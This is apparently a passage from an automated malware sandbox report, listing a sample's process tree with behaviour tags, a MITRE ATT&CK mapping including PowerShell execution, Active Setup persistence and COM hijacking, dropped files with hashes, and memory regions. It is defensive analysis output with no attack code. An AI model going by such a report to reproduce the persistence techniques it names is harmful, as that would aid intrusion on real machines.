bl9jaWQ9Ii0xIiBjZG5fY2NjPSIiIGNkbl9tc2VkZ2VfcmVmPSIiIGNkbl9henVyZV9yZWZfb3JpZ2luX3NoaWVsZD0iIiBjZG5fY2FjaGU9IiIgY2RuX3AzcD0iIiBkb3dubG9hZGVkPSIxNzg2MDQwODgiIHRvdGFsPSIxNzg2MDQwODgiIGRvd25sb2FkX3RpbWVfbXM9IjE0Mjg5MCIvPjxldmVudCBldmVudHR5cGU9IjE0IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI2NzM1NjUzNjA1IiBzb3VyY2VfdXJsX2luZGV4PSIwIiBkb25lX2JlZm9yZV9vb2JlX2NvbXBsZXRlPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iMTUiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHN5c3RlbV91cHRpbWVfdGlja3M9IjY3NDk0MDM4MDIiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiLz48ZXZlbnQgZXZlbnR0eXBlPSIzIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIxOTY3NTciIHN5c3RlbV91cHRpbWVfdGlja3M9Ijc5NTExMjIzMjIiIHNvdXJjZV91cmxfaW5kZXg9IjAiIGRvbmVfYmVmb3JlX29vYmVfY29tcGxldGU9IjAiIHVwZGF0ZV9jaGVja190aW1lX21zPSIyNjcyIiBkb3dubG9hZF90aW1lX21zPSIxNTAwMTUiIGRvd25sb2FkZWQ9IjE3ODYwNDA4OCIgdG90YWw9IjE3ODYwNDA4OCIgcGFja2FnZV9jYWNoZV9yZXN1bHQ9IjAiIGluc3RhbGxfdGltZV9tcz0iMTIwMTcyIi8-PHBpbmcgYWN0aXZlPSIxIiBhPSI0IiByPSI0IiBhZD0iNjYxMiIgcmQ9IjY2MTIiIHBpbmdfZnJlc2huZXNzPSJ7RDgyQzdBNjctOEM5Mi00MkRELUFGQkMtRUFDQTcwOENDQkYxfSIvPjwvYXBwPjxhcHAgYXBwaWQ9IntGMzAxNzIyNi1GRTJBLTQyOTUtOEJERi0wMEMzQTlBN0U0QzV9IiB2ZXJzaW9uPSIxMzIuMC4yOTU3LjE0MCIgbmV4dHZlcnNpb249IiIgbGFuZz0iIiBicmFuZD0iR0dMUyIgY2xpZW50PSIiIGluc3RhbGxhZ2U9IjQiIGluc3RhbGxkYXRlPSI2NjA4IiBjb2hvcnQ9InJyZkAwLjQ0Ij48dXBkYXRlY2hlY2svPjxwaW5nIHI9IjQiIHJkPSI2NjEyIiBwaW5nX2ZyZXNobmVzcz0iezVGRTNGMjFELTU5Q0YtNEY3Ri04MDEyLTk5ODdCMzM2OTRDNn0iLz48L2FwcD48L3JlcXVlc3Q-
                1⤵
                • System Location Discovery: System Language Discovery
                • System Network Configuration Discovery: Internet Connection Discovery
                PID:3336
              • C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe
                "C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\LocalBridge.exe" /InvokerPRAID: Microsoft.MicrosoftOfficeHub prelaunch
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:8
              • C:\Windows\system32\wwahost.exe
                "C:\Windows\system32\wwahost.exe" -ServerName:Microsoft.MicrosoftOfficeHub.wwa
                1⤵
                • Modifies Internet Explorer settings
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4380

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Active Setup

              1
              T1547.014

              Browser Extensions

              1
              T1176

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Active Setup

              1
              T1547.014

              Event Triggered Execution

              1
              T1546

              Component Object Model Hijacking

              1
              T1546.015

              Defense Evasion

              Modify Registry

              4
              T1112

              Credential Access

              Discovery

              Query Registry

              2
              T1012

              System Information Discovery

              2
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              System Network Configuration Discovery

              1
              T1016

              Internet Connection Discovery

              1
              T1016.001

              Lateral Movement

              Collection

              Command and Control

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Program Files (x86)\Microsoft\EdgeUpdate\Install\{23DABA9D-2A4C-4B68-A3B8-04B52D572851}\EDGEMITMP_34BB9.tmp\setup.exe
                Filesize

                6.8MB

                MD5

                1b3e9c59f9c7a134ec630ada1eb76a39

                SHA1

                a7e831d392e99f3d37847dcc561dd2e017065439

                SHA256

                ce78ccfb0c9cdb06ea61116bc57e50690650b6b5cf37c1aebfb30c19458ee4ae

                SHA512

                c0e50410dc92d80ff7bc854907774fc551564e078a8d38ca6421f15cea50282c25efac4f357b52b066c4371f9b8d4900fa8122dd80ab06ecbd851c6e049f7a3e

                Download Submit

              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                Filesize

                3.9MB

                MD5

                ad5f7dc7ca3e67dce70c0a89c04519e0

                SHA1

                a10b03234627ca8f3f8034cd5637cda1b8246d83

                SHA256

                663fe0f4e090583e6aa5204b9a80b7a76f677259066e56a7345aebc6bc3e7d31

                SHA512

                ad5490e9865caa454c47ec2e96364b9c566b553e64801da60c295acd570017747be1aff6f22ca6c20c6eee6f6d05a058af72569fd6e656f66e48010978c7fd51

                Download Submit

              • C:\Program Files\Google\Chrome\updater.exe
                Filesize

                2.0MB

                MD5

                a16a669a09bf158058b83e04e69fe38e

                SHA1

                f6c94763850d9e590d86057139e8895a7aacdeea

                SHA256

                cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

                SHA512

                658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

                Download Submit

              • C:\Program Files\Google\Libs\g.log
                Filesize

                226B

                MD5

                fdba80d4081c28c65e32fff246dc46cb

                SHA1

                74f809dedd1fc46a3a63ac9904c80f0b817b3686

                SHA256

                b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

                SHA512

                b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                72KB

                MD5

                3094d9172fd80c9618e7671d8089f6f9

                SHA1

                419ba4540f687515f6f3b220207decf1310d7042

                SHA256

                a283cfb5e24e36cb882c9dce79f703a18073716f7d0a384e74bbca56f9d10521

                SHA512

                dce897c5ecd1399b456c32bfc04932392b5352186bcd969786baa1651c936c4483caee297c4c97cf4b9b9c03c73229588b93fcb42a1e2be738caa37f846a5a10

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                98KB

                MD5

                402ced36ff1bd1a32170feec312de488

                SHA1

                d98e40fe4c9d47009a6192d581a354d7b8bca20c

                SHA256

                ec0fb91b056a9314ff0580494f8450549da1cb8c9b85b665adaf8c19689c9d9c

                SHA512

                087ee6e22f6dbd110daf59ca8ff9c30e934a94c51c11fd505e7dafac793c018f2b713674190a3455c6a5705487df1d41beed0d188d6160f05324aae02d0971fc

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                99KB

                MD5

                d9d7ddb80961ff77c603d0a78fd4f9f5

                SHA1

                e48af7166478afd74139f6e674bd67890239ff97

                SHA256

                fa3bb269bcd96e86368335ea4b38acbb1a98043711788da9c246e7a5a6618bae

                SHA512

                9b3ceed703397740e0528168e4731f2e21d36af40130d9d1d90125c8e282ba1a32137d6dddad54ae6b98c7ba4a79155d3900206e1c181f89f168c38990b5a61d

                Download Submit

              • C:\Program Files\msedge_installer.log
                Filesize

                104KB

                MD5

                4c7bb44962d3d54dfcaf1c055c3d84ac

                SHA1

                fec3353ecbf01cd8ba449a0f667b5f1ac8518cb5

                SHA256

                2fa00f59f0642178da0bfb163eb68e9defaeda9be3ca3aadeb43d628d0092896

                SHA512

                0b025279ae886e4af0f30c0128e6235adde03391edc03e7b2537bed1b943f4408586a2a9406d843058f9a75dbb9751f0f662cfe90700425caf4ed14351eff422

                Download Submit

              • C:\ProgramData\Microsoft\EdgeUpdate\Log\MicrosoftEdgeUpdate.log
                Filesize

                550KB

                MD5

                576288cd60698888471eeda8467f5f45

                SHA1

                04e12c0b21e5cc885227ed59e108dd64fc869e48

                SHA256

                19b03feb88ce7b5c88072d4fd34386e357546f30cc4d2bd3e49fe1ac95ced81d

                SHA512

                a3f9950990f119fd917a592277cc39cca5bffc954c957c30f60dc0a402509458b3202283bb0a7b5790b54899b1137503e5295f4e0de4b7d6eeca18869c765baa

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                d85ba6ff808d9e5444a4b369f5bc2730

                SHA1

                31aa9d96590fff6981b315e0b391b575e4c0804a

                SHA256

                84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                SHA512

                8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                944B

                MD5

                6d42b6da621e8df5674e26b799c8e2aa

                SHA1

                ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

                SHA256

                5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

                SHA512

                53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                1KB

                MD5

                7661d0b4dc733b10a8f401452d63128d

                SHA1

                b374bb6f3860ac70574f282738c7f456fbe2c33d

                SHA256

                f6f4442564ab77163d4d1ffffc74c3d714102979ee9e075c5235174c6e5761db

                SHA512

                788fad8d0684cccc776c41203df09335977cc67ed2e58c6d785eef9d38a33c1fa30d64360a88ff3d4603fa8dfe0f080e2279987c1e556db53d2bb8a38c047d0d

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_btou2hh0.nna.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                4KB

                MD5

                7b1fe6890101f73a0c9796d8d585b168

                SHA1

                56eb99ee341b880cf7a80ebc705371aea87b3743

                SHA256

                93ea56ad38069dbc3d1ae192afd3f3dc8704e9298752f73729b95cf3298dcaca

                SHA512

                fe73cccfadc916f613fbcc7a80ec82ae1228ea2aa28bba4515851e82463e76942ff3a3d6bcc78ea666a841d89220fb49b8fa52279985e88fe0aec6728f21aefa

                Download Submit

              • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                1KB

                MD5

                2722730a0cf82161fb1452b600334796

                SHA1

                4479415f50cd9ab55c4f7bcdc1a0a5177492f053

                SHA256

                a44ba59eb52b4d6555065fa840ac7162080eb538e6b6a47198fe4961d0297833

                SHA512

                54ec97b79003db56fb1ca44b33a1c2a9748014a3c1dc84fdb2afca84d3c6618ad88ccb353d52078789e3e0ed0ee6c763a74bf34cea1334e427a264db9171dfb0

                Download Submit

              • memory/8-295-0x000001C1709C0000-0x000001C1709CE000-memory.dmp

                Filesize

                56KB

                Download

              • memory/8-298-0x000001C174200000-0x000001C174449000-memory.dmp

                Filesize

                2.3MB

                Download

              • memory/8-297-0x000001C172F00000-0x000001C172F08000-memory.dmp

                Filesize

                32KB

                Download

              • memory/8-296-0x000001C172ED0000-0x000001C172EDA000-memory.dmp

                Filesize

                40KB

                Download

              • memory/372-31-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/372-30-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/372-29-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/372-18-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/372-34-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/372-33-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/1004-106-0x00007FF607320000-0x00007FF607531000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/1004-49-0x00007FF607320000-0x00007FF607531000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/1484-0-0x00007FF669910000-0x00007FF669B21000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/1484-36-0x00007FF669910000-0x00007FF669B21000-memory.dmp

                Filesize

                2.1MB

                Download

              • memory/1836-116-0x00007FF7EACD0000-0x00007FF7EACE6000-memory.dmp

                Filesize

                88KB

                Download

              • memory/1836-110-0x00007FF7EACD0000-0x00007FF7EACE6000-memory.dmp

                Filesize

                88KB

                Download

              • memory/2388-99-0x000001A4FD4B0000-0x000001A4FD565000-memory.dmp

                Filesize

                724KB

                Download

              • memory/3016-157-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-228-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-104-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-111-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-112-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-114-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-240-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-117-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-119-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-121-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-123-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-125-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-127-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-129-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-131-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-133-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-135-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-137-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-139-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-141-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-143-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-145-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-238-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-236-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-159-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-234-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-171-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-232-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-230-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-105-0x00000179F1570000-0x00000179F1590000-memory.dmp

                Filesize

                128KB

                Download

              • memory/3016-195-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3016-222-0x00007FF7EF2E0000-0x00007FF7EFAD4000-memory.dmp

                Filesize

                8.0MB

                Download

              • memory/3812-16-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/3812-1-0x00007FFE15173000-0x00007FFE15175000-memory.dmp

                Filesize

                8KB

                Download

              • memory/3812-11-0x000002877FF40000-0x000002877FF62000-memory.dmp

                Filesize

                136KB

                Download

              • memory/3812-12-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/3812-13-0x00007FFE15170000-0x00007FFE15C31000-memory.dmp

                Filesize

                10.8MB

                Download

              • memory/3988-71-0x0000019B4CC10000-0x0000019B4CC2C000-memory.dmp

                Filesize

                112KB

                Download

              • memory/3988-76-0x0000019B4CC50000-0x0000019B4CC5A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/3988-74-0x0000019B4CBF0000-0x0000019B4CBF8000-memory.dmp

                Filesize

                32KB

                Download

              • memory/3988-73-0x0000019B4CC30000-0x0000019B4CC4A000-memory.dmp

                Filesize

                104KB

                Download

              • memory/3988-75-0x0000019B4CC00000-0x0000019B4CC06000-memory.dmp

                Filesize

                24KB

                Download

              • memory/3988-72-0x0000019B4C780000-0x0000019B4C78A000-memory.dmp

                Filesize

                40KB

                Download

              • memory/3988-68-0x0000019B4C9D0000-0x0000019B4C9EC000-memory.dmp

                Filesize

                112KB

                Download

              • memory/3988-69-0x0000019B4C9F0000-0x0000019B4CAA5000-memory.dmp

                Filesize

                724KB

                Download

              • memory/3988-70-0x0000019B4C770000-0x0000019B4C77A000-memory.dmp

                Filesize

                40KB

                Download